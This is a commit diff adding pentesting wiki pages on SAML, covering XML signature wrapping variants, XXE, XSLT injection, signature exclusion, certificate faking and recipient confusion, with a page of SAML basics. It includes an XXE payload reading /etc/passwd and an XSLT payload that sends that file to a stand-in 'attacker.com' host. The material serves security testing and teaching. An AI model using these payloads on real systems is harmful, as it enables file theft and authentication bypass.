GitBook: [master] 4 pages and 11 assets modified

SUMMARY.md

@@ -379,7 +379,8 @@
 * [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
 * [Regular expression Denial of Service - ReDoS](pentesting-web/regular-expression-denial-of-service-redos.md)
 * [Reset/Forgotten Password Bypass](pentesting-web/reset-password.md)
-* [SAML Attacks](pentesting-web/saml-attacks.md)
+* [SAML Attacks](pentesting-web/saml-attacks/README.md)
+  * [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
 * [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
 * [SQL Injection](pentesting-web/sql-injection/README.md)
   * [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)

pentesting-web/saml-attacks/README.md

@@ -0,0 +1,198 @@
+# SAML Attacks
+
+## Basic Information
+
+{% page-ref page="saml-basics.md" %}
+
+## XML Signature Wrapping Attacks
+
+XML documents containing XML Signatures are typically **processed in two independent steps**: **signature** **validation** and **function** **invocation** \(business logic\). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks \(XSW\) exists.  
+In these attacks the **adversary** **modifies** the **message** structure by **injecting** **forged** elements **which do not invalidate the XML Signature**. The goal of this alteration is to change the message in such a way that the **application logic and the signature verification module use different parts of the message**. Consequently, the receiver verifies the XML Signature successfully but the application logic processes the bogus element. The **attacker thus circumvents the integrity protection** and the origin authentication of the XML Signature and can inject arbitrary content.
+
+From the SAML request:
+
+![](../../.gitbook/assets/image%20%28544%29.png)
+
+### XSW \#1
+
+An attacker can **add a new root element where the signature** is found. Therefore, when the validator checks the integrity of the signature it may note that it has **check** the **integrity** of the **Response -> Assertion -> Subject**, and it might get confused with the **evil new Response -> Assertion -> Subject** path in red and use its data.
+
+![](../../.gitbook/assets/image%20%28546%29.png)
+
+### XSW \#2
+
+The difference with \#1 is that the type of Signature used is a **detached signature** where XSW \#1 used an enveloping signature.  
+Note how the new evil structure is the same as before trying to confuse the business logic after the integrity check was performed.
+
+![](../../.gitbook/assets/image%20%28545%29.png)
+
+### XSW \#3
+
+In this attack an **evil Assertion is created in at the same level** as the original assertion to try to confuse the business logic and use the evil data.
+
+![](../../.gitbook/assets/image%20%28540%29.png)
+
+### XSW \#4
+
+XSW \#4 is similar to \#3, except in this case the **original Assertion becomes a child** of the copied Assertion.
+
+![](../../.gitbook/assets/image%20%28542%29.png)
+
+### XSW \#5
+
+In XSW \#5 the Signature and the original Assertion aren’t in one of the three standard configurations \(enveloped/enveloping/detached\). In this case, the copied Assertion envelopes the Signature.
+
+![](../../.gitbook/assets/image%20%28549%29.png)
+
+### XSW \#6
+
+XSW \#6 inserts its copied Assertion into the same location as \#’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion.
+
+![](../../.gitbook/assets/image%20%28539%29.png)
+
+### XSW \#7
+
+XSW \#7 inserts an **Extensions** element and adds the copied **Assertion** as a **child**. Extensions is a valid XML element with a **less restrictive schema definition**. The authors of this [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure.
+
+![](../../.gitbook/assets/image%20%28543%29.png)
+
+### XSW \#8
+
+XSW \#8 uses another **less restrictive XML element** to perform a variation of the attack pattern used in XSW \#7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion.
+
+![](../../.gitbook/assets/image%20%28541%29.png)
+
+### Tool
+
+You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
+
+![](../../.gitbook/assets/image%20%28547%29.png)
+
+### Original Paper
+
+For more information about this attack read the original paper in [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
+
+## XXE
+
+If you don't know which kind of attacks are XXE, please read the following page:
+
+{% page-ref page="../xxe-xee-xml-external-entity.md" %}
+
+Due to the fact that SAML Responses are deflated and base64’d **XML documents**, we can test for **XXE** by manipulating the XML document sent as the SAML Response. Example:
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE foo [  
+   <!ELEMENT foo ANY >
+   <!ENTITY	file SYSTEM "file:///etc/passwd">
+   <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
+  <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
+  <saml:Issuer>...</saml:Issuer>
+  <ds:Signature ...>
+    <ds:SignedInfo>
+      <ds:CanonicalizationMethod .../>
+      <ds:SignatureMethod .../>
+      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
+    </ds:SignedInfo>
+    <ds:SignatureValue>...</ds:SignatureValue>
+[...]
+```
+
+### Tool
+
+You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities.
+
+## XSLT via SAML
+
+For more information about XSLT go to:
+
+{% page-ref page="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
+
+Extensible Stylesheet Language Transformation \(XSLT\) is a Turing-complete language for transforming XML documents into other document types such as HTML, JSON, or PDF. An important aspect to note here is that **the attack doesn’t require a valid signature to succeed**. The reason for this is that **the XSLT transformation occurs before the digital signature is processed for verification**. Basically, we need a signed SAML Response to perform the attack, but the signature can be self-signed or invalid.
+
+![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
+
+Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
+
+```markup
+<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
+  ...
+    <ds:Transforms>
+      <ds:Transform>
+        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+          <xsl:template match="doc">
+            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
+            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
+            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
+            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
+            <xsl:value-of select="unparsed-text($exploitUrl)"/>
+          </xsl:template>
+        </xsl:stylesheet>
+      </ds:Transform>
+    </ds:Transforms>
+  ...
+</ds:Signature>
+```
+
+### Tool
+
+You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
+
+## XML Signature Exclusion <a id="xml-signature-exclusion"></a>
+
+Signature Exclusion is used to test how the SAML implementation behaves when there is **no Signature elemen**t. When a Signature element is **absent** the **signature validation step may get skipped entirely**. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker.
+
+![](../../.gitbook/assets/image%20%28548%29.png)
+
+### Tool <a id="xml-signature-exclusion-how-to"></a>
+
+Signature exclusion begins with intercepting the SAML Response then clicking `Remove Signatures`. In doing so **all** Signature elements are removed.
+
+![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
+
+With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service 
+
+## Certificate Faking <a id="certificate-faking"></a>
+
+Certificate faking is the process of testing whether or not the Service Provider **verifies that a trusted Identity Provider signed the SAML Message.** The trust relationship between SP and IdP is established and **should be verified** each time a SAML Message is received. What this comes down to is using a **self-signed** certificate to sign the SAML Response or Assertion.
+
+### Tool <a id="certificate-faking-how-to"></a>
+
+The Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) is going to be used.  
+To fake a certificate, begin by intercepting the SAML Response.  
+If there is a Signature included in the Response, use the `Send Certificate to SAML Raider Certs` button.
+
+![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
+
+After sending the certificate, we should see an imported certificate in the SAML Raider Certificates tab. Once there, we highlight the imported cert and press the `Save and Self-Sign` button.
+
+![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
+
+Doing so generates a self-signed clone of the original certificate. Now it’s time to move back to the intercepted request still held in burp’s Proxy. First, select the new self-signed cert from the XML Signature dropdown menu. Then use the `Remove Signatures` button to remove any existing signatures. Finally, use the **`(Re-)Sign Message`** or `(`**`Re-)Sign Assertion`** button \(**whichever** is **more** **appropriate** in your given situation\).
+
+![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
+
+After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider.
+
+## Token Recipient Confusion / Service Provider Target Confusion <a id="token-recipient-confusion"></a>
+
+Token Recipient Confusion / Service Provider Target CONfusion **tests whether or not the Service Provider validates the Recipient**. This means, that **if the response was meant to a different Service Provide**r, the **current** Service Provider should notice it and **reject the authentication**.  
+The **Recipient** field is an attribute of the **SubjectConfirmationData** element, which is a child of the Subject element in a SAML Response.
+
+> The SubjectConfirmationData element specifies additional data that allows the subject to be confirmed or constrains the circumstances under which the act of subject confirmation can take place. Subject confirmation takes place when a relying party seeks to verify the relationship between an entity presenting the assertion \(that is, the attesting entity\) and the subject of the assertion’s claims.
+
+The Recipient attribute found on the **SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered**. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted.
+
+### How-to <a id="token-recipient-confusion-how-to"></a>
+
+SAML Token Recipient Confusion \(SAML-TRC\) has a few prequisite conditions in order for us to attempt exploitation. First, we **need** to have a **legitimate account on a Service Provider**. Second, **SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit**.
+
+The attack is relatively simple if the conditions are true. We **authenticate** to **SP-Legit** via the shared Identity Provider. We then **intercept the SAML Response on its way from the IdP to SP-Legit**. Once intercepted, we send the **SAML Response that was intended for SP-Legit to SP-Target instead.** If **SP-Target accepts the Assertion**; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources.
+
+## References
+
+The attacks were obtained from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)  
+You can find additional resources and write-ups in [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
+
+
+

pentesting-web/saml-attacks/saml-basics.md

@@ -1,16 +1,16 @@
-# SAML Attacks
+# SAML Basics
 
-## Basic Information
+## Description
 
 Security Assertion Markup Language \(SAML\) is an open standard that allows identity providers \(IdP\) to pass authorization credentials to service providers \(SP\). What that jargon means is that you can **use one set of credentials to log into many different websites**. It’s much simpler to manage one login per user than it is to manage separate logins to email, customer relationship management \(CRM\) software, Active Directory, etc.
 
 SAML transactions use Extensible Markup Language \(XML\) for standardized communications between the identity provider and service providers. SAML is the link between the authentication of a user’s identity and the authorization to use a service. \(From [here](https://www.varonis.com/blog/what-is-saml/)\)
 
-### SAML vs. OAuth
+## SAML vs. OAuth
 
 OAuth is a slightly newer standard that was co-developed by Google and Twitter to enable streamlined internet logins. OAuth uses a similar methodology as SAML to share login information. **SAML provides more control** to enterprises to keep their SSO logins more secure, whereas **OAuth is better on mobile and uses JSON**.
 
-### Schema
+## Schema
 
 ![saml-flow](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
 
@@ -25,7 +25,7 @@ OAuth is a slightly newer standard that was co-developed by Google and Twitter t
 9. Step 7 - The ACS validates the SAML Response.
 10. Step 8 - We are allowed to access the resource we originally requested.
 
-### SAML Request Example <a id="saml-request-example"></a>
+## SAML Request Example
 
 Let’s take a closer look at steps 2 and 3 outlined above. We’ll make a request to the example Service Provider for the resource located at [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/), which as its name implies, is content that requires us to be authenticated to view.
 
@@ -95,9 +95,9 @@ The **RelayState** parameter sent along with the SAML Request is state informati
 
 The **SAMLRequest** parameter is a **compressed** and **encoded** version of the same raw xml snippet we looked at earlier. SAML uses the [Deflate compression](https://en.wikipedia.org/wiki/DEFLATE) algorithm then base64 encodes the result.
 
-### SAML Response  Example <a id="saml-response-example"></a>
+## SAML Response Example
 
-We’re going to eschew stepping through the part where the user authenticates to the IdP and jump straight into steps 5 and 6 from what was discussed in the [SAML Authentication Workflow](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/#saml-authentication-workflow). Just keep in mind that what we’re going to look at happens **after** the user authenticates to the IdP.
+We’re going to eschew stepping through the part where the user authenticates to the IdP and jump straight into steps 5 and 6 from what was discussed in the [SAML Authentication Workflow](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/#saml-authentication-workflow). Just keep in mind that what **we’re going to look at happens after the user authenticates to the IdP.**
 
 Let’s start by taking a look at the raw SAML Response.
 
@@ -262,21 +262,98 @@ Content-Type: text/html; charset=UTF-8
 -------------8<-------------
 ```
 
-## Attacks
+## XML Signatures
 
-### Tampering with data
+We’re almost done covering all the basics we need to cover in order to move on to the actual testing! The last item we need to cover is XML Signatures. Interestingly, XML Signatures can be used to **sign either a whole XML tree or specific elements** within the tree. We already saw earlier that two separate XML Signatures were used in our example SAML Response. Each signature was responsible for a different part of the Response. In this section, we’ll look at the different ways an XML Signature can be incorporated into an XML document. Something to note is that while our examples use the Response element as the resource to be signed, XML Signatures can be applied to any Object, including Assertion elements.
 
-The request number 5 from the previous image sends back the information from the identity provider to the service provider. This information is **usually signed** at the end of the message so **no tampering with the information is possible**. It's recommended to check what happens in case the information is sent **stripping the signature** from the message.
+### ENVELOPED SIGNATURE
 
-### Burp Extension
+A basic XML Signature is comprised of the following elements.
 
-{% embed url="https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e" %}
+```markup
+<Signature>
+  <SignedInfo>
+    <CanonicalizationMethod />
+    <SignatureMethod />
+    <Reference>
+       <Transforms />
+       <DigestMethod />
+       <DigestValue />
+    </Reference>
+    <Reference /> 
+  </SignedInfo>
+  <SignatureValue />
+  <KeyInfo />
+  <Object />
+</Signature>
+```
 
-#### Tutorial
+Of particular note for us is that each resource to be signed has its own Reference element. The Reference element’s URI attribute denotes which resource is signed by that particular Signature. By examining our example from earlier, we can see this in practice.
 
-{% embed url="https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/" %}
+```markup
+<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
+    ...
+    <ds:Signature>
+        <ds:SignedInfo>
+            ...
+            <ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
+                ...
+            </ds:Reference>
+        </ds:SignedInfo>
+    </ds:Signature>
+    ...
+</samlp:Response>
+```
 
-{% embed url="https://www.economyofmechanism.com/github-saml" %}
+What we saw in our example earlier is known as an **enveloped signature**. An enveloped signature is a signature that is a descendant of the resource it’s signing. We can see that spelled out for us in the ds:Transform element of our example.
 
+```markup
+<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
+    <ds:Transforms>
+        <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
+        ...
+    </ds:Transforms>
+    ...
+</ds:Reference>
+```
 
+### ENVELOPING SIGNATURE
+
+In addition to enveloped signatures, there are **enveloping signatures** where the signature wraps the resource, instead of the other way around.
+
+```markup
+<ds:Signature>
+    <ds:SignedInfo>
+        ...
+        <ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
+            ...
+        </ds:Reference>
+    </ds:SignedInfo>
+    <samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
+        ...
+    </samlp:Response>
+</ds:Signature>
+```
+
+### DETACHED SIGNATURE
+
+Finally, there are **detached signatures**. A detached signature is neither wrapping nor is it wrapped by the resource to be signed. Instead, it is wholly separate from the signed resource.
+
+```markup
+<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
+    ...
+</samlp:Response>
+<ds:Signature>
+    <ds:SignedInfo>
+        ...
+        <ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
+            ...
+        </ds:Reference>
+    </ds:SignedInfo>
+</ds:Signature>
+```
+
+## References
+
+Most of the content was copied from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)